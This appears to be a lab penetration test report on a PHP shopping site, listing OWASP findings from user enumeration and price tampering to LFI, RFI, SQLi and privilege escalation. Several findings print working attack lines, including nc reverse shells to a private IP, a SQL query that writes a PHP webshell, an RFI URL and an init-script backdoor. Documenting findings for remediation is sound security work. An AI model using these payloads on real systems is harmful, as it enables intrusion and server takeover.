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Issue Identified: The registration page of the web application exhibits a security

vulnerability classified under 'Broken Access Control', as defined by the OWASP. This

vulnerability allows an attacker to guess or enumerate usernames.

Description: During the registration process, the application reveals whether a

username is already in use. This behavior occurs when a new user attempts to register

with a username that exists in the system. Instead of a generic error message, the

application explicitly indicates that the username is already taken. This response enables

an attacker to infer valid usernames through repeated registration attempts.

Impact: The ability to enumerate usernames can lead to various security risks. It

simplifies the process for attackers attempting brute-force attacks, as they can confirm

valid usernames before attempting password guesses.
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Broken Access Control - Unauthorized Bulk Password Reset

Issue Identified: The web application exhibits a critical security vulnerability under
'Broken Access Control', according to the OWASP guidelines. Specifically, the
vulnerability allows for unauthorized password changes for multiple users, including
administrators.

Description: The vulnerability was discovered within the 'Change Password'
functionality, accessible via the navigation bar after user registration.

When a password change request is intercepted and modified using Burp Suite, the
request can be manipulated and sent to the Intruder tool.

This allows for an automated attack that alters the passwords for all users in the system.
By employing this method, it was possible to change the administrator's password to a
known value (e.g., '1'), subsequently gaining unauthorized access to the admin account.

Impact: This vulnerability has severe implications, as it allows an attacker to gain control
over any account, including administrative accounts, potentially leading to a full system
compromise. The integrity and confidentiality of user data are at risk, and the availability
of the system to legitimate users can be disrupted.
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Security Misconfiguration - Malicious File Upload Leading to PHP

Reverse Shell

Issue Identified: The application is vulnerable to malicious file uploads, specifically the

uploading of PHP files disguised as JPEG images, leading to PHP reverse shell execution.

This vulnerability is a clear indication of 'Security Misconfiguration' as per OWASP

categorization.

Description: The vulnerability was discovered following the successful upload of a

malicious PHP file, camouflaged as a JPEG image, using burp suite to inject PHP code

into the image's header.

The file, although appearing as an image, was renamed with a .php extension, allowing

it to bypass security filters. Once uploaded, the server incorrectly processes this file as

a PHP script, leading to the execution of the embedded PHP code. This vulnerability is

particularly dangerous as it enables an attacker to establish a reverse shell, gaining

remote control over the server.

Impact: The execution of a PHP reverse shell poses a severe security risk. It allows an

attacker to gain unauthorized access to the server, execute arbitrary commands, and

potentially take complete control over the server environment. This could lead to

extensive data breaches, unauthorized data manipulation, and compromise of the entire

server infrastructure.
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Broken Access Control - Unauthorized File Downloads via

Command-Line Tools

Issue Identified: The application is vulnerable to Insecure Direct Object References

(IDOR), allowing unauthorized file downloads via command-line tools like curl and wget.

This vulnerability aligns with ‘Broken Access Control’ as per OWASP guidelines.

Description: Exploiting the previously mentioned file upload vulnerability, the attacker

executed server commands to identify files, which they then illegally downloaded using

curl and wget, circumventing the intended access controls.

Impact: The ability to download files without authorization directly undermines the

security of the server's data, potentially leading to information leaks and unauthorized

system access.
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Broken Access Control - Price Manipulation via Interception

Issue Identified: The application is vulnerable to price manipulation during the checkout

process, a concern that falls under 'Broken Access Control' as defined by the OWASP.

Description: A critical vulnerability was discovered in the shopping website's payment

system where the final price of an item can be altered by the client.

During the checkout process, before finalizing the purchase, the transaction details can

be intercepted using a tool like Burp Suite.

The price parameter within the request can be modified — for instance, changing an

item's original price from 3000 to 0 — and upon resubmission, the server accepts the

altered price, allowing the purchase to proceed at the manipulated price point.

Impact: This vulnerability allows an attacker to purchase items without paying the full

price, which could lead to significant financial losses for the business and undermine

the integrity of the transaction system.
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Broken Access Control - Negative Price Manipulation in Purchase

Transactions

Issue Identified: The e-commerce application permits negative price manipulation
during purchase transactions. This issue can be categorized under 'Broken Access
Control' as defined by the OWASP.

Description: A severe vulnerability exists within the payment processing functionality of
the shopping website.

At the final stage of the purchasing process, transaction details can be intercepted using
Burp Suite.

The price parameter can be maliciously altered to a negative value, allowing a user to
not only obtain items for free but also receive an amount equivalent to the negative
price set in the request.

Impact: This flaw can lead to exploitation where the vendor incurs financial losses by
essentially paying the attacker for each transaction completed with a manipulated
negative price.
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Broken Access Control - Unauthorized Access to Admin and
Hidden Pages via URL Manipulation

Issue Identified: The shopping website is vulnerable to unauthorized access to

administrative and hidden pages due to inadequate access control mechanisms. This

issue aligns with the 'Broken Access Control' category in the OWASP.

Description: It has been observed that normal users can gain access to both

administrative and hidden pages by simply modifying the URL path.

This type of unauthorized access is possible because the application does not adequately

verify the user's permissions when navigating to different pages. For instance, a normal

user can alter their URL from a regular user-accessible page to one designated for admin

use, or to other hidden pages not intended for public access.

Impact: This security flaw presents a significant risk as it allows unprivileged users to

access sensitive areas of the website, which could lead to the compromise of

confidential information, unauthorized modifications, or deletion of data. It also poses

a threat to the overall integrity and security of the website.



Waris Damkham (M)

Injection - Local File Inclusion (LFI) Leading to Log Poisoning and

Remote Code Execution via Access Logs

Issue Identified: The shopping website is susceptible to a Local File Inclusion (LFI) attack,

which falls under the 'Injection' category as per OWASP guidelines. This vulnerability

was further exploited to perform log poisoning, leading to remote code execution.

Description: The vulnerability was discovered within the 'name' parameter of the

website's URL, allowing directory traversal to access server files. An advanced

exploitation technique was used, involving LFI to access the server's access_log file. The

attacker sent a crafted request via Burp Suite Repeater with a malicious PHP code

embedded as a query parameter:

This code, when Base64-decoded, translates to a shell command that sets up a reverse

shell (rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1

4445 >/tmp/f). By reloading the access_log through LFI, the PHP code embedded in the

log is executed, resulting in remote code execution on the server.

Impact: This sophisticated attack method poses a high-security risk, as it leads to

unauthorized remote code execution on the server. It can be leveraged to gain complete

control over the server, potentially leading to data breaches, system compromise, and

further malicious activities.
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Security Misconfiguration - Security Misconfiguration Leading to
Database Credentials Disclosure via Local File Inclusion (LFI)

Issue Identified: The shopping website displays a critical vulnerability classified under

‘Security Misconfiguration' in the OWASP. This vulnerability involves Local File Inclusion

(LFI) that leads to the exposure of database credentials.

Description: The vulnerability was exploited by using LFI to access the site's robots.txt

file.

This file inadvertently exposed a path (/BVCDqHHqSu7iBQcfxzty/) which granted

unauthorized access to the phpMyAdmin panel. The exploitation continued with the use

of a PHP wrapper (php://filter/convert.base64-encode/resource=database.php),

enabling the attacker to encode and extract the contents of the database.php file.

This process revealed sensitive database credentials, including the username and

password for phpMyAdmin.

Impact: The leakage of database credentials through this vulnerability is highly critical.

It poses a significant risk of unauthorized database access, which can lead to data

manipulation, data theft, and potentially a full-scale data breach, compromising the

integrity and confidentiality of sensitive user information.
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Injection - Remote File Inclusion (RFI) Leading to Remote Code
Execution with Hosted PHP Reverse Shell

Issue Identified: The shopping website demonstrates a vulnerability to Remote File
Inclusion (RFI), classified under the 'Injection' category by OWASP. This vulnerability is
exacerbated by the fact that it enables Remote Code Execution (RCE) through a PHP
reverse shell, which the attacker hosts using a Python SimpleHTTPServer.

Description:

A critical vulnerability was identified in the 'name' parameter of the website’s URL.
Attackers can exploit this parameter to include external files. For instance, by changing
the parameter to reference a PHP reverse shell script hosted on the attacker's server
(https://192.168.176.128/www/buy.php?id=1&name=http://192.168.122.13:9000/test_
shell.php set up via Python's SimpleHTTPServer), the targeted server retrieves and
executes this script. This execution grants the attacker unauthorized remote access and
control over the server.

Impact: The potential impact of this vulnerability is severe. It allows attackers to execute
arbitrary code remotely, effectively compromising the server. This level of control can
lead to data breaches, unauthorized manipulation of data, and potentially using the
server to mount further attacks. The ease of setting up a malicious server using tools
like Python's SimpleHTTPServer increases the risk and accessibility of this attack vector.
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Injection - Cross-Site Scripting (XSS) Leading to BeEF Framework

Exploitation

Issue Identified: The shopping website is vulnerable to Cross-Site Scripting (XSS),

specifically through URL parameters. This issue is categorized under 'Injection' in the

OWASP.

Description: The vulnerability allows for the injection of an XSS payload into the 'id'

parameter of the URL.

For instance, the attacker can inject a script that triggers interaction with the Browser

Exploitation Framework (BeEF), a penetration testing tool.

This malicious script, when executed in the context of a user's session, establishes a

connection to the BeEF framework, giving the attacker the ability to manipulate the

user's browser session.

Impact: XSS vulnerabilities, particularly those that enable integration with frameworks

like BeEF, are highly critical. They can be leveraged to perform a wide range of attacks,

such as session hijacking, keystroke logging, phishing, and identity theft. This not only

compromises the individual user's data and privacy but also undermines the overall

security and integrity of the website.



Waris Damkham (M)

Injection - SQL Injection (SQLi) Leading to Remote Code

Execution via File Creation and Image Update

Issue Identified: The shopping website is vulnerable to SQL Injection (SQLi), a critical

issue categorized under 'Injection' in the OWASP. This vulnerability was exploited to

create and execute a malicious PHP file capable of initiating a reverse shell.

Description: The vulnerability allows SQLi to occur, enabling an attacker to manipulate database

queries. Two distinct SQLi exploits were identified:

1. Creating a file with malicious PHP code designed for reverse shell execution.

(SELECT '<?php system(base64_decode("YnVzeWJveCBuYyAxOTIuMTY4LjEyMi4xIDQ0NDUgLWUgL2Jpbi9zaA==")); ?>' INTO

OUTFILE '/opt/lampp/htdocs/www/img/cat.php';)

2. Updating an existing image record in the database to point to the newly created malicious

PHP file.

(UPDATE `item` SET `picname` = 'cat.php' WHERE `item`.`ID` = 0; )

By injecting SQL commands, the attacker can instruct the server to write a new file containing

PHP code that, when executed, opens a reverse shell to a remote host. Additionally, the attacker

can alter an image's file path in the database to this malicious PHP file, leading to its execution

when the image is accessed.

Impact: This form of SQLi presents a severe risk as it leads to unauthorized remote code

execution. It allows an attacker to gain control over the server, potentially resulting in complete

system compromise, unauthorized access to sensitive data, and further exploitation of the

system.
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Identification and Authentication Failures - Weak Password

Vulnerability in SSH Service Following User Enumeration

Issue Identified: During a security analysis using Nmap, an open SSH port was discovered,
leading to a Local File Inclusion (LFI) attack that exposed usernames. Subsequent
investigation revealed that the username 'low' had a weak password, identical to the
username, which represents a case of 'Identification and Authentication Failures' as
outlined OWASP.

Description: An Nmap scan was conducted on the target IP, revealing an open SSH port.

Leveraging an LFI vulnerability, the /etc/passwd file was accessed, enabling the
enumeration of user accounts.

Further investigation into the /home directory identified the user account 'low'.
Attempts to access this account were successful using the username as the password,
indicating a weak password security practice.

Impact: The use of weak, guessable passwords, especially those identical to usernames,
severely compromises the security of user accounts. This vulnerability significantly
increases the risk of unauthorized access, potentially leading to system compromise,
data breaches, and unauthorized operations within the server.
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Privilege Escalation via Sudo Rights on 'apt' Package

Issue Identified: Post gaining access to the server, a command sudo -l revealed that the
'apt' package could be executed with sudo privileges without a password.

Description: After accessing the server, further exploration was carried out to assess
the extent of privileges available.

The execution of sudo -l indicated that the 'apt' package could be run as a superuser
without the need for a password.

This misconfiguration allows for privilege escalation, as certain functionalities of 'apt'
can be exploited to execute arbitrary commands with root privileges.

Impact: This misconfiguration presents a significant security risk, as it can lead to
unauthorized privilege escalation. An attacker with such access can gain full control of
the server, leading to potential system compromise, data breaches, and the ability to
perform unrestricted actions on the server.
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Potential Privilege Escalation via Misconfigured 'find' Binary

Issue Identified: Upon gaining access to the server and conducting an analysis using
linpeas, a potential privilege escalation vulnerability was identified involving the
'/usr/bin/find' binary.

Description: The tool linpeas was utilized to scan the server for possible privilege
escalation paths.

The scan revealed that the '/usr/bin/find' binary could potentially be exploited for
privilege escalation.

It was observed that 'find' has misconfigured permissions or SUID bits set, which could
allow an attacker with limited privileges to execute commands with root-level
permissions.

Impact: This misconfiguration poses a significant risk as it can lead to unauthorized
privilege escalation on the server. An attacker could exploit this to gain full control of
the server, resulting in a total system compromise, access to sensitive data, and the
ability to perform unauthorized actions at the root level.
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Privilege Escalation via Writable '/etc/init.d/testscript.sh'

Issue Identified: Upon accessing the server and utilizing linpeas for privilege escalation

(PE) pathways analysis, a vulnerability was identified involving writable permissions on

'/etc/init.d/testscript.sh'.

Description: The linpeas tool revealed that the current user had write privileges over

'/etc/init.d/testscript.sh'.

Exploiting this, a reverse shell script was introduced into 'testscript.sh' using the

command: echo '#!/bin/bash\nbusybox nc 192.168.122.1 4444 -e /bin/sh' >

/etc/init.d/testscript.sh.

Upon the server's restart, this script executed and established a connection to a listening

service on the attacker’s machine, providing root user access.

Impact: The ability to write and execute scripts in system directories, particularly as root,

poses a severe security risk. It can lead to unauthorized root-level access, full system

compromise, potential data breaches, and could be leveraged for further malicious

activities within the network.


